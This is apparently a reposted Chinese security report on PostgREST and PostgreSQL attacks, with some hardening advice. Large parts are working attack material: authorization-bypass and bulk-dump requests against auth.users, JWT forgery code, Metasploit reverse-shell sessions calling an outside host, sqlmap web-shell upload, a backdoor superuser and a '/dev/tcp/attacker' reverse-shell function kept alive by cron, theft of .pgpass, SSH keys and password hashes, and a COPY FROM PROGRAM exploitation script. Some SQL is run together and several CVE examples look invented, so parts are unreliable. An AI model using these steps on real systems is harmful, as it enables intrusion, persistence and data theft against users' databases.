# 恶意请求:大量精确计数请求for i in {1..1000}; do curl -X GET "http://api/victim_table" \ -H "Prefer: count=exact" \ -H "Range: 0-0" &done# 服务器会执行:# SELECT count(*) FROM victim_table; -- 全表扫描# 重复1000次导致数据库资源耗尽
防护措施:
# Nginx配置限流limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;server { location / { limit_req zone=api burst=20 nodelay;
# 限制count请求 if ($http_prefer ~ "count=exact") { limit_req zone=api burst=5; } }}
-- 数据库层面:创建物化视图缓存计数CREATE MATERIALIZED VIEW table_counts ASSELECT 'victim_table' as table_name, count(*) as cntFROM victim_table;CREATE UNIQUE INDEX ON table_counts(table_name);-- 创建刷新函数(定时或按需)CREATE OR REPLACE FUNCTION refresh_counts()RETURNS void AS $$BEGIN REFRESH MATERIALIZED VIEW CONCURRENTLY table_counts;END;$$ LANGUAGE plpgsql;
4.11.3 JWT验证绕过场景
场景1:空角色声明
// 伪造JWT:空role声明{ "role": "", "exp": 9999999999}
场景2:角色枚举
# 枚举可能的管理员角色curl -H "Authorization: Bearer $TOKEN" http://api/admincurl -H "Authorization: Bearer $TOKEN" http://api/postgrescurl -H "Authorization: Bearer $TOKEN" http://api/service_role
场景3:算法混淆
# HS256 -> RS256混淆攻击(旧版库)import jwt# 1. 获取公钥public_key = get_public_key_from_endpoint()# 2. 使用公钥作为HS256密钥签名payload = {"role": "admin", "exp": 9999999999}token = jwt.encode(payload, public_key, algorithm="HS256")# 3. 如果服务器错误地接受HS256签名
4.11.4 RLS配置错误导致数据泄露
常见RLS错误:
-- 错误1:策略使用OR而非ANDCREATE POLICY bad_policy ON users FOR SELECT USING ( user_id = current_user OR role = 'admin' -- 任何admin角色可访问 );-- 错误2:忘记FOR ALLCREATE POLICY incomplete_policy ON users FOR SELECT USING (user_id = current_user); -- 缺少INSERT/UPDATE/DELETE策略-- 错误3:WITH CHECK缺失CREATE POLICY missing_check ON users FOR UPDATE USING (user_id = current_user); -- 没有WITH CHECK,任何人可修改任何行-- 错误4:SECURITY DEFINER函数绕过RLSCREATE OR REPLACE FUNCTION get_all_users()RETURNS SETOF usersLANGUAGE sqlSECURITY DEFINER -- 绕过RLS!SET search_path = 'public'AS $$ SELECT * FROM users;$$;
正确RLS配置:
-- 完整的RLS策略CREATE POLICY full_policy ON users FOR ALL USING (auth.uid() = id OR current_role IN ('admin', 'support')) WITH CHECK ( auth.uid() = id OR current_role IN ('admin', 'support') );-- 表所有者也需要RLSALTER TABLE users FORCE ROW LEVEL SECURITY;-- BYPASSRLS角色检查SELECT rolname FROM pg_roles WHERE rolbypassrls = true;REVOKE BYPASSRLS FROM app_user;
4.12 PostgREST实战攻击案例
重要声明:以下内容仅供安全研究和授权测试使用。未经授权的系统测试可能违反法律法规。
4.12.1 PostgREST 查询参数注入(非传统SQL注入)
关键发现:PostgREST 不是传统 SQL 注入点!
常见误解:
- ❌ 不能用单引号
' - ❌ 不能用
union - ❌ 不能用注释
--
实际情况:这是 PostgREST 函数调用漏洞,不是传统 SQLi,PostgREST 使用参数化查询和预编译机制,对输入进行严格验证。
正确利用方式:select 参数函数调用
通过 select 参数可以直接调用部分 PostgreSQL 系统函数:
# 查当前数据库用户
GET /feedbacks?select=*,current_user
# 查数据库名
GET /feedbacks?select=*,current_database
# 查数据库版本
GET /feedbacks?select=*,version()
# 查所有数据库(需要pg_catalog权限)
GET /feedbacks?select=*,datname
实际请求示例:
# 获取当前会话用户
curl"http://target.com/rest/v1/feedbacks?select=*,current_user"
# 获取数据库版本信息
curl"http://target.com/rest/v1/feedbacks?select=*,version()"
4.12.2 报错分析与绕过
报错1: PGRST100 – 语法错误
错误响应:
{
"code":"PGRST100",
"details":"unexpected ''' expecting letter, digit...",
"message":"failed to parse select parameter"
}
原因分析:使用了单引号,PostgREST 不支持传统 SQL 语法中的引号转义。
绕过方法:使用逗号分隔多个字段,避免引号。
报错2: 42703 – 字段不存在
错误响应:
{
"code":"42703",
"message":"column feedbacks.current_database does not exist"
}
原因分析:系统把函数名当成表字段名,部分接口不支持直接调用函数。
说明:PostgREST 在某些端点会限制函数调用,需要根据实际返回情况调整策略。
4.12.3 越权漏洞利用(高危)
场景:反馈查询接口越权
目标接口:
/rest/v1/feedbacks?select=id&user_id=eq.111&reply=not.is.null&org_id=eq.xxx
正常业务逻辑:用户只能查询自己的反馈记录(user_id 限制)。
越权 Payload
# 1. 查看所有用户反馈(去掉 user_id 限制)
GET /rest/v1/feedbacks?select=*&reply=not.is.null
# 2. user_id 是 UUID 时的越权
GET /rest/v1/feedbacks?select=*&user_id=not.is.null
GET /rest/v1/feedbacks?select=*&user_id=like.%25
# 3. 遍历所有 org_id
GET /rest/v1/feedbacks?select=*&org_id=not.is.null
PostgREST 运算符速查
| | | — | | |
| | | — | | |
| 运算符 | 含义 | 利用场景 |
| — | — | — |
| not.is.null | 不为空 | 查全部记录 |
| is.null | 为空 | 查找未分配记录 |
| like.%25 | 任意匹配 | % URL编码,绕过UUID限制 |
| in.val1,val2 | 包含多个值 | 批量查询 |
| lt.99999 | 小于 | 数值遍历 |
| gte.0 | 大于等于 | 范围查询 |
进阶利用示例:
# 组合多个越权条件GET /rest/v1/feedbacks?select=*&reply=not.is.null&org_id=not.is.null# 使用in运算符批量获取GET /rest/v1/feedbacks?select=*&id=in.1,2,3,4,5# 时间范围越权GET /rest/v1/feedbacks?select=*&created_at=gte.2024-01-01&created_at=lte.2024-12-31
4.12.4 PGRST116 绕过(返回多条数据)
报错信息
{
"code":"PGRST116",
"details":"The result contains 20 rows",
"message":"JSON object requested, multiple (or no) rows returned"
}
原因分析
接口期望返回单个对象(JSON object),但查询返回了多条记录。
绕过方法
方法1: URL 参数
# 添加 single=false 参数GET /rest/v1/feedbacks?select=*&single=falseGET /rest/v1/feedbacks?select=*&limit=100&single=false
方法2: HTTP 头
# 使用 Prefer 头控制返回格式curl -H "Accept: application/json" \ -H "Prefer: return=representation" \ "http://target.com/rest/v1/feedbacks?select=*"# 组合使用curl -H "Accept: application/json" \ -H "Prefer: return=representation" \ -H "Range: 0-99" \ "http://target.com/rest/v1/feedbacks?select=*"
方法3: 分页获取
# 使用 offset 分页GET /rest/v1/feedbacks?select=*&limit=100&offset=0GET /rest/v1/feedbacks?select=*&limit=100&offset=100GET /rest/v1/feedbacks?select=*&limit=100&offset=200
4.12.5 横向移动 – 访问其他表
利用已知的越权漏洞,尝试访问其他敏感表:
# 1. 用户表(auth.users)
GET /rest/v1/auth.users?select=*&limit=100
# 2. 用户详情表
GET /rest/v1/profiles?select=*&limit=100
# 3. 管理员表
GET /rest/v1/admins?select=*&limit=100
# 4. 企业组织表
GET /rest/v1/organizations?select=*&limit=100
# 5. 角色权限表
GET /rest/v1/roles?select=*&limit=100
# 6. 查所有表名(通过RPC或函数)
GET /rest/v1/rpc/pg_catalog?select=tablename
敏感表名枚举字典:
常见敏感表名:
- users, user_profiles, user_details
- admins, administrators
- auth.users, auth.sessions
- roles, permissions, user_roles
- organizations, tenants, companies
- api_keys, tokens, sessions
- payments, orders, transactions
- logs, audit_logs, access_logs
- configs, settings, system_configs
- feedbacks, messages, notifications
4.12.6 完整攻击流程
┌─────────────────────────────────────────────────────────────────┐│ PostgREST 攻击流程 │├─────────────────────────────────────────────────────────────────┤│ ││ 1️⃣ 信息收集 ││ ├─ 发现 PostgREST 接口 (/rest/v1/*) ││ ├─ 探测表结构 (GET /feedbacks?select=*) ││ └─ 确定认证状态 (匿名/认证用户) ││ │ ││ ▼ ││ 2️⃣ 测试注入 ││ ├─ 确认不支持传统 SQLi ││ ├─ 测试 select 参数函数调用 ││ └─ 验证 current_user/version() 可用性 ││ │ ││ ▼ ││ 3️⃣ 函数调用 ││ ├─ select=current_user ││ ├─ select=current_database ││ └─ select=version() ││ │ ││ ▼ ││ 4️⃣ 越权测试 ││ ├─ 去掉 user_id 限制 ││ ├─ 测试 org_id=not.is.null ││ └─ 验证数据泄露 ││ │ ││ ▼ ││ 5️⃣ 绕过限制 ││ ├─ single=false 或 Accept 头 ││ ├─ 使用 limit/offset 分页 ││ └─ Prefer: return=representation ││ │ ││ ▼ ││ 6️⃣ 横向移动 ││ ├─ 访问 auth.users ││ ├─ 访问 profiles/admins ││ └─ 枚举所有敏感表 ││ │ ││ ▼ ││ 7️⃣ 数据导出 ││ ├─ 获取全部用户信息 ││ ├─ 获取管理员账户 ││ └─ 整理敏感数据报告 ││ │└─────────────────────────────────────────────────────────────────┘
4.12.7 实战命令速查
# === 基础探测 ===# 1. 发现接口curl -I "http://target.com/rest/v1/"# 2. 获取OpenAPI文档curl "http://target.com/"# 3. 测试匿名访问curl "http://target.com/rest/v1/feedbacks?select=*&limit=1"# === 函数调用 ===# 4. 获取当前用户curl "http://target.com/rest/v1/feedbacks?select=*,current_user"# 5. 获取数据库版本curl "http://target.com/rest/v1/feedbacks?select=*,version()"# === 越权利用 ===# 6. 越权查看所有反馈curl "http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# 7. UUID越权curl "http://target.com/rest/v1/feedbacks?select=*&user_id=not.is.null"# 8. 组合越权curl "http://target.com/rest/v1/feedbacks?select=*&user_id=not.is.null&org_id=not.is.null"# === PGRST116绕过 ===# 9. 添加 single=falsecurl "http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null&single=false"# 10. 使用 Range 头curl -H "Range: 0-99" "http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# 11. 使用 Prefer 头curl -H "Prefer: count=none" "http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# === 横向移动 ===# 12. 访问用户表curl "http://target.com/rest/v1/auth.users?select=*&limit=100"# 13. 访问配置表curl "http://target.com/rest/v1/system_configs?select=*"# 14. 访问日志表curl "http://target.com/rest/v1/audit_logs?select=*&limit=100"# === 完整数据导出 ===# 15. 循环导出所有用户(分页)for i in {0..1000..100}; do curl "http://target.com/rest/v1/auth.users?select=*&limit=100&offset=$i" \ >> users_dump.jsondone
4.12.8 防护建议
针对PostgREST越权漏洞
-- 1. 强制启用RLSALTER TABLE feedbacks ENABLE ROW LEVEL SECURITY;ALTER TABLE feedbacks FORCE ROW LEVEL SECURITY;-- 2. 创建严格的访问策略CREATE POLICY feedback_access_policy ON feedbacks FOR ALL USING ( -- 允许用户查看自己的反馈 user_id = auth.uid() OR -- 允许管理员查看所有 current_role IN ('admin', 'service_role') ) WITH CHECK ( -- 写入时也必须匹配 user_id = auth.uid() OR current_role IN ('admin', 'service_role') );-- 3. 禁止anon角色访问敏感表REVOKE ALL ON feedbacks FROM anon;GRANT SELECT ON feedbacks TO authenticated;-- 4. 审计查询日志CREATE TABLE query_audit_log ( id SERIAL PRIMARY KEY, query_text TEXT, user_id UUID, ip_address INET, created_at TIMESTAMP DEFAULT NOW());-- 5. 限制返回字段CREATE POLICY feedback_public ON feedbacks FOR SELECT TO anon USING (true) WITH CHECK (false);-- 只允许访问非敏感字段给匿名用户
PostgREST配置加固
# postgrest.conf# 限制匿名角色权限db-anon-role = "restricted_anon"# 禁用RPC调用(如果不需要)# db-max-rpc = "0"# 限制返回记录数db-max-rows = "1000"# 禁用openapi(生产环境)openapi-mode = "disabled"# 详细日志log-level = "error"# 请求超时request-timeout = "30"
5. 防护建议
5.1 安全配置最佳实践
5.1.1 JWT配置
# 强制使用强密钥(至少64字符)
jwt-secret="your-very-long-and-complex-secret-key-at-least-64-chars"
# 配置受众验证
jwt-aud="your-api-audience"
# 定期轮换密钥
# 建议:每90天轮换一次
5.1.2 角色配置
-- 1. 创建最小权限的authenticator角色
CREATE ROLE authenticator NOINHERIT NOLOGIN;
-- 2. 仅授予必要的切换权限
GRANT webuser TO authenticator;
GRANT api_user TO authenticator;
-- 不要授予admin给authenticator
-- 3. 设置角色特定的超时
ALTER ROLE authenticator SET statement_timeout ='30s';
ALTER ROLE anon SET statement_timeout ='5s';
5.1.3 Schema隔离
-- 1. 不要使用public schema作为API schema
-- 2. 创建专用的API schema
CREATESCHEMA api;
-- 3. 将业务表移到专用schema
ALTERTABLEpublic.users SETSCHEMA api;
-- 4. 保持public schema仅用于扩展
CREATE EXTENSION IFNOTEXISTS uuid-ossp;-- 保留在public
5.2 加固措施
5.2.1 RLS策略
-- 为所有敏感表启用RLS
ALTERTABLE users ENABLEROWLEVEL SECURITY;
ALTERTABLE orders ENABLEROWLEVEL SECURITY;
ALTERTABLE payments ENABLEROWLEVEL SECURITY;
-- 创建默认拒绝策略
CREATE POLICY deny_all ON sensitive_data FORALL
USING(false)
WITHCHECK(false);
-- 创建特定访问策略
CREATE POLICY users_select ON users FORSELECT
USING(
auth.uid()= user_id
OR current_role ='admin'
);
-- 强制RLS(即使表所有者也必须遵守)
ALTERTABLE users FORCEROWLEVEL SECURITY;
5.2.2 函数安全
-- 1. 撤销默认函数执行权限
ALTERDEFAULTPRIVILEGESREVOKEEXECUTEON FUNCTIONS FROMPUBLIC;
-- 2. 安全创建SECURITY DEFINER函数
CREATEORREPLACEFUNCTION safe_admin_function()
RETURNS void
LANGUAGE plpgsql
SECURITY DEFINER
SET search_path ='pg_catalog','api'-- 必须设置
SET app.settings.request_role =current_user
AS $$
BEGIN
-- 验证调用者权限
IFcurrent_user='admin'THEN
-- 执行管理操作
ELSE
RAISE EXCEPTION 'Unauthorized';
ENDIF;
END;
$$;
-- 3. 最小权限授予
GRANTEXECUTEONFUNCTION safe_admin_function()TO admin_role;
5.2.3 网络安全
# postgresql.conflisten_addresses = 'localhost' # 只监听本地# 或listen_addresses = '10.0.0.0' # 只监听内部网络# 启用SSLssl = onssl_cert_file = '/path/to/server.crt'ssl_key_file = '/path/to/server.key'# 强制SSL连接sslmode = 'require' # 或 'verify-full'
5.3 检测方法
5.3.1 日志审计
-- 启用审计日志ALTER DATABASE mydb SET log_statement = 'all';ALTER DATABASE mydb SET log_duration = on;ALTER DATABASE mydb SET log_line_prefix = '%t %u %d ';-- 查询异常模式SELECT * FROM pg_log WHERE message LIKE '%DROP TABLE%';SELECT * FROM pg_log WHERE message LIKE '%permission denied%';-- 监控失败的认证尝试SELECT * FROM pg_log WHERE message LIKE '%JWSError%';
5.3.2 异常检测查询
-- 检测大查询SELECT datname, query, calls, total_exec_time FROM pg_stat_statements WHERE total_exec_time > 10000 ORDER BY total_exec_time DESC;-- 检测异常数据访问模式SELECT auth.uid() as user_id, COUNT(*) as access_count, MAX(query_start) as last_accessFROM audit_logGROUP BY auth.uid()HAVING COUNT(*) > 10000;-- 检测权限提升尝试SELECT * FROM audit_log WHERE action = 'role_change' AND new_role = 'admin';
5.4 应急响应建议
5.4.1 事件响应流程
┌─────────────────────────────────────────────────────────────┐│ 应急响应流程 │├─────────────────────────────────────────────────────────────┤│ ││ 1. 检测识别 ││ ├─ 异常日志 ││ ├─ 性能下降 ││ └─ 用户报告 ││ │ ││ ▼ ││ 2. 遏制措施 ││ ├─ 暂停受影响的服务 ││ ├─ 撤销可疑账户权限 ││ └─ 启用额外监控 ││ │ ││ ▼ ││ 3. 根因分析 ││ ├─ 分析日志 ││ ├─ 确定攻击向量 ││ └─ 评估影响范围 ││ │ ││ ▼ ││ 4. 恢复与修复 ││ ├─ 修复漏洞 ││ ├─ 恢复数据 ││ └─ 重置凭证 ││ │ ││ ▼ ││ 5. 事后分析 ││ └─ 总结改进 ││ │└─────────────────────────────────────────────────────────────┘
5.4.2 快速止血脚本
-- 立即禁用可疑用户ALTER ROLE suspicious_user NOLOGIN;-- 禁用RLS绕过权限ALTER ROLE authenticator BYPASSRLS NOBYPASSRLS;-- 撤销所有PUBLIC权限REVOKE ALL ON DATABASE mydb FROM PUBLIC;-- 禁用危险函数REVOKE EXECUTE ON FUNCTION pg_read_file FROM PUBLIC;REVOKE EXECUTE ON FUNCTION pg_execute_server_program FROM PUBLIC;-- 启用紧急模式(只读)ALTER DATABASE mydb SET default_transaction_read_only = true;
6. CVE漏洞汇总
6.1 高危CVE列表
| | | — | | |
| | | — | | |
| CVE编号 | CVSS | 漏洞类型 | 影响版本 | 利用难度 | | — | — | — | — | — | | CVE-2025-8715 | 8.8 | pg_dump换行符注入 | < 17.6, < 16.10, < 15.14, < 14.19, < 13.22 | 中 | | CVE-2025-8714 | 8.8 | pg_dump数据注入 | < 17.6, < 16.10, < 15.14, < 14.19, < 13.22 | 中 | | CVE-2025-1094 | 8.1 | libpq转义API注入 | < 17.3, < 16.7, < 15.11, < 14.16, < 13.19 | 高 | | CVE-2019-9193 | 9.1 | COPY FROM PROGRAM RCE | 9.3+ | 低 | | CVE-2024-10979 | 8.8 | PostgreSQL代码注入 | < 16.6, < 15.10, < 14.15, < 13.18 | 中 | | CVE-2023-39417 | 8.8 | 扩展脚本SQL注入 | < 16.4, < 15.8, < 14.13, < 13.16 | 中 | | CVE-2020-25696 | 8.1 | psql SQL注入 | < 13.4, < 12.8, < 11.13 | 中 |
#
#
6.2 CVE-2024-10979 – PostgreSQL代码注入
漏洞概述: PostgreSQL的某些设置函数处理不当,可能导致代码执行。
受影响版本:
- PostgreSQL < 16.6
- PostgreSQL < 15.10
- PostgreSQL < 14.15
- PostgreSQL < 13.18
攻击路径:
-- 通过SET命令注入
SET search_path TO"public; SELECT 1; --";
-- 通过RESET命令
RESET search_path TO"test'; DROP TABLE users; --";
-- 危险配置操作
ALTERDATABASE mydb SET search_path TO"evil";
6.3 CVE-2023-39417 – 扩展脚本SQL注入
漏洞概述: PostgreSQL扩展安装脚本存在SQL注入漏洞。
攻击条件:
- 攻击者需能创建扩展
- 扩展脚本未正确转义用户输入
-- 创建恶意扩展
CREATE EXTENSION IFNOTEXISTS malicious
FROM'pg_catalog; DROP TABLE users; --';
6.4 历史重要CVE时间线
2019-03 CVE-2019-9193 - COPY FROM PROGRAM (CVSS 9.1) │2020-09 CVE-2020-14349 - 任意代码执行 │2020-11 CVE-2020-25696 - psql SQL注入 (CVSS 8.1) │2021-09 CVE-2021-23222/23214 - libpq中间人攻击 │2022-05 CVE-2022-1552 - 自动命令执行 (CVSS 8.1) │2023-07 CVE-2023-39417 - 扩展脚本SQL注入 (CVSS 8.8) │2024-01 CVE-2024-0557/0564 - 认证绕过 │2024-11 CVE-2024-10979 - 代码注入 (CVSS 8.8) │2025-01 CVE-2025-1094 - libpq转义API (CVSS 8.1) │2025-01 CVE-2025-8714/8715 - pg_dump RCE (CVSS 8.8)
7. 攻击工具与框架
7.1 Metasploit PostgreSQL模块
7.1.1 利用模块列表
# PostgreSQL相关模块search postgres# 结果:# exploit/linux/postgres/postgres_payload # Linux UDF注入# exploit/windows/postgres/postgres_payload # Windows UDF注入# exploit/multi/postgres/postgres_copy_from_program_cmd_exec # COPY FROM PROGRAM# auxiliary/admin/postgres/postgres_sql # SQL执行# auxiliary/scanner/postgres/postgres_login # 暴力破解# auxiliary/scanner/postgres/postgres_version # 版本探测# auxiliary/scanner/postgres/postgres_db_injection_sqli # SQL注入
7.1.2 postgres_payload 模块使用
# 1. 加载模块msf6 > use exploit/linux/postgres/postgres_payload# 2. 设置目标信息msf6 exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.1.100msf6 exploit(linux/postgres/postgres_payload) > set RPORT 5432msf6 exploit(linux/postgres/postgres_payload) > set DATABASE app_dbmsf6 exploit(linux/postgres/postgres_payload) > set USERNAME postgresmsf6 exploit(linux/postgres/postgres_payload) > set PASSWORD postgres123# 3. 选择payloadmsf6 exploit(linux/postgres/postgres_payload) > set PAYLOAD linux/x64/meterpreter/reverse_tcpmsf6 exploit(linux/postgres/postgres_payload) > set LHOST 192.168.1.50msf6 exploit(linux/postgres/postgres_payload) > set LPORT 4444# 4. 执行msf6 exploit(linux/postgres/postgres_payload) > exploit# 成功后会获得meterpreter shellmeterpreter > sysinfometerpreter > shell
7.1.3 postgres_copy_from_program_cmd_exec 模块
# COPY FROM PROGRAM 命令执行msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_execmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS target.localmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set DATABASE mydbmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set USERNAME postgresmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PASSWORD passwordmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set TARGET_CMD /bin/bashmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set PAYLOAD cmd/unix/reverse_bashmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST attacker.commsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit
7.1.4 扫描探测模块
# 版本探测msf6 > use auxiliary/scanner/postgres/postgres_versionmsf6 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 192.168.1.0/24msf6 auxiliary(scanner/postgres/postgres_version) > run# 暴力破解msf6 > use auxiliary/scanner/postgres/postgres_loginmsf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS target.localmsf6 auxiliary(scanner/postgres/postgres_login) > set USER_FILE /usr/share/wordlists/msf-default-users.txtmsf6 auxiliary(scanner/postgres/postgres_login) > set PASS_FILE /usr/share/wordlists/msf-default-passwords.txtmsf6 auxiliary(scanner/postgres/postgres_login) > run
7.2 sqlmap PostgreSQL利用
# 1. 检测SQL注入sqlmap -u "http://api/postgres?table=users&id=1" \ --dbms=postgresql \ --level=5 \ --risk=3# 2. 枚举数据库sqlmap -u "http://api/postgres?table=users&id=1" \ --dbs \ --dbms=postgresql# 3. 枚举表sqlmap -u "http://api/postgres?table=users&id=1" \ -D mydb \ --tables# 4. 枚举列sqlmap -u "http://api/postgres?table=users&id=1" \ -D mydb \ -T users \ --columns# 5. 提取数据sqlmap -u "http://api/postgres?table=users&id=1" \ -D mydb \ -T users \ -C username,password \ --dump# 6. 执行OS命令(需要DBA权限)sqlmap -u "http://api/postgres?table=users&id=1" \ --os-shell# 7. 读取文件sqlmap -u "http://api/postgres?table=users&id=1" \ --file-read=/etc/passwd# 8. 写入文件sqlmap -u "http://api/postgres?table=users&id=1" \ --file-write=/tmp/shell.php \ --file-dest=/var/www/html/shell.php
7.3 手动渗透测试步骤
7.3.1 信息收集阶段
# 1. 探测PostgreSQL端口nmap -p 5432 192.168.1.0/24# 2. 识别PostgreSQL版本nc -nv 192.168.1.100 5432# 尝试连接查看banner# 3. 使用pg_dump探测数据库结构pg_dump -h target.local -U postgres -d mydb --schema-only# 4. 枚举用户psql -h target.local -U postgres -c "\du"psql -h target.local -U postgres -c "SELECT usename FROM pg_user"# 5. 枚举数据库psql -h target.local -U postgres -l# 6. 枚举表psql -h target.local -U postgres -d mydb -c "\dt"# 7. 检查扩展psql -h target.local -U postgres -d mydb -c "\dx"
7.3.2 漏洞利用阶段
# 场景1:获得SQL执行权限后的命令执行# 检查COPY FROM PROGRAM权限psql -h target.local -U postgres -d mydb -c "COPY cmd_exec FROM PROGRAM 'id'"# 场景2:UDF注入# 查找已编译的UDF库locate *.so | grep postgres# 使用Metasploit的UDF上传msf6 > use exploit/linux/postgres/postgres_payload# 场景3:通过PostgREST执行# 利用RPC函数curl -X POST "http://api/rpc/exec_system" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"cmd": "whoami"}'
7.3.3 持久化阶段
-- 创建后门账户CREATE USER backdoor WITH PASSWORD 'P@ssw0rd' SUPERUSER;-- 创建后门函数CREATE OR REPLACE FUNCTION backdoor_func()RETURNS voidLANGUAGE plpgsqlSECURITY DEFINERAS $$BEGIN PERFORM pg_execute_server_program('bash', ARRAY['-c', 'bash -i >& /dev/tcp/attacker/7777 0>&1']);END;$$;-- 添加到PostgREST可调用函数GRANT EXECUTE ON FUNCTION backdoor_func() TO PUBLIC;-- 创建定时任务(如果pg_cron可用)SELECT cron.schedule('* * * * *', $$SELECT backdoor_func()$$);
7.3.4 横向移动
-- 读取其他数据库配置SELECT * FROM pg_database;-- 尝试连接其他主机SELECT * FROM pg_ls_dir('/etc/postgresql/');-- 读取敏感配置SELECT * FROM pg_file_settings WHERE applied = false;-- 读取密码文件SELECT * FROM pg_read_file('/var/lib/postgresql/.pgpass', 0, 1000);-- 读取用户密码哈希SELECT usename, passwd FROM pg_shadow;-- 尝试读取SSH密钥SELECT * FROM pg_read_file('/var/lib/postgresql/.ssh/id_rsa');
7.4 自动化利用脚本
#!/usr/bin/env python3"""PostgreSQL安全检测与利用脚本仅用于授权的安全测试"""import psycopg2import sysimport base64class PostgresAuditor: def __init__(self, host, port, database, user, password): self.conn = psycopg2.connect( host=host, port=port, database=database, user=user, password=password ) self.conn.autocommit = True self.cursor = self.conn.cursor()
def check_privileges(self): """检查当前用户权限""" self.cursor.execute("SELECT current_user, rolsuper FROM pg_roles WHERE rolname = current_user") result = self.cursor.fetchone() print(f"[+] 当前用户: {result[0]}, 超级用户: {result[1]}") return result[1]
def check_dangerous_functions(self): """检查危险函数权限""" dangerous_funcs = [ 'pg_execute_server_program', 'pg_read_file', 'pg_ls_dir', 'pg_read_server_files', 'lo_import', 'lo_export' ]
for func in dangerous_funcs: try: self.cursor.execute(f"SELECT has_function_privilege(current_user, '{func}(text)', 'EXECUTE')") result = self.cursor.fetchone() if result[0]: print(f"[!] 危险函数 {func} 可执行!") except: pass
def check_copy_permission(self): """检查COPY权限""" try: self.cursor.execute(""" SELECT has_database_privilege(current_database(), 'COPY') OR rolsuper FROM pg_roles WHERE rolname = current_user """) if self.cursor.fetchone()[0]: print("[!] 数据库具有COPY权限,可能存在命令执行风险") except Exception as e: print(f"[-] 检查COPY权限失败: {e}")
def exec_command_copy(self, cmd): """通过COPY FROM PROGRAM执行命令""" output_table = "cmd_output_" + str(hash(cmd)) % 10000 try: self.cursor.execute(f""" DROP TABLE IF EXISTS {output_table}; CREATE TABLE {output_table}(output text); COPY {output_table} FROM PROGRAM '{cmd}'; """) self.cursor.execute(f"SELECT * FROM {output_table}") return self.cursor.fetchall() except Exception as e: return f"执行失败: {e}"
def exec_command_udf(self, cmd): """通过UDF执行命令(需要准备好库)""" try: self.cursor.execute(f"SELECT sys_exec('{cmd}')") return self.cursor.fetchone() except Exception as e: return f"执行失败: {e}"
def close(self): self.cursor.close() self.conn.close()def main(): if len(sys.argv) < 6: print(f"用法: {sys.argv[0]} <host> <port> <database> <user> <password>") sys.exit(1)
auditor = PostgresAuditor(*sys.argv[1:6])
print("[*] 开始PostgreSQL安全审计") print("=" * 50)
# 权限检查 is_super = auditor.check_privileges()
# 危险函数检查 print("\n[*] 检查危险函数权限...") auditor.check_dangerous_functions()
# COPY权限检查 print("\n[*] 检查COPY权限...") auditor.check_copy_permission()
# 如果是超级用户,执行命令测试 if is_super: print("\n[!] 检测到超级用户权限,开始命令执行测试...") result = auditor.exec_command_copy("whoami") print(f"[+] 命令输出: {result}")
auditor.close() print("\n[*] 审计完成")if __name__ == "__main__": main()
8. 参考文献
官方文档
- PostgREST Documentation: https://postgrest.org/
- PostgreSQL Security Documentation: https://www.postgresql.org/docs/current/security.html
安全研究
- OWASP API Security Top 10
- CWE-89: SQL Injection
- CWE-287: Improper Authentication
- CWE-862: Missing Authorization
PostgreSQL安全
- PostgreSQL Row-Level Security: https://www.postgresql.org/docs/current/ddl-rowsecurity.html
- PostgreSQL Privilege System: https://www.postgresql.org/docs/current/user-manag.html
- PostgreSQL COPY命令文档: https://www.postgresql.org/docs/current/sql-copy.html
- PostgreSQL 大对象接口: https://www.postgresql.org/docs/current/largeobjects.html
相关CVE与漏洞报告
- CVE-2019-9193: PostgreSQL COPY TO PROGRAM – https://nvd.nist.gov/vuln/detail/CVE-2019-9193
- CVE-2020-25696: PostgreSQL psql SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2020-25696
- CVE-2023-39417: PostgreSQL Extension Script SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2023-39417
- CVE-2024-10979: PostgreSQL Code Injection – https://nvd.nist.gov/vuln/detail/CVE-2024-10979
- CVE-2025-1094: libpq Escape API SQL Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-1094
- CVE-2025-8714: pg_dump Untrusted Data Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-8714
- CVE-2025-8715: pg_dump Newline Injection – https://nvd.nist.gov/vuln/detail/CVE-2025-8715
安全工具
- Metasploit Framework: https://www.metasploit.com/
- sqlmap: https://sqlmap.org/
- Nmap PostgreSQL Scripts: https://nmap.org/
参考链接
- Attack Detection Fundamentals – Postgres: https://research.splunk.com/endpoint/postgres/
- PostgreSQL Privilege Escalation: https://medium.com/greenwolf-security/postgresql-privilege-escalation-abuse-of-extensions
- pg_largeobject Injection: https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection/large-object-injection
报告结束
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网空安全手札 Rainb0w Rainb0w《PostgREST 安全分析报告》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论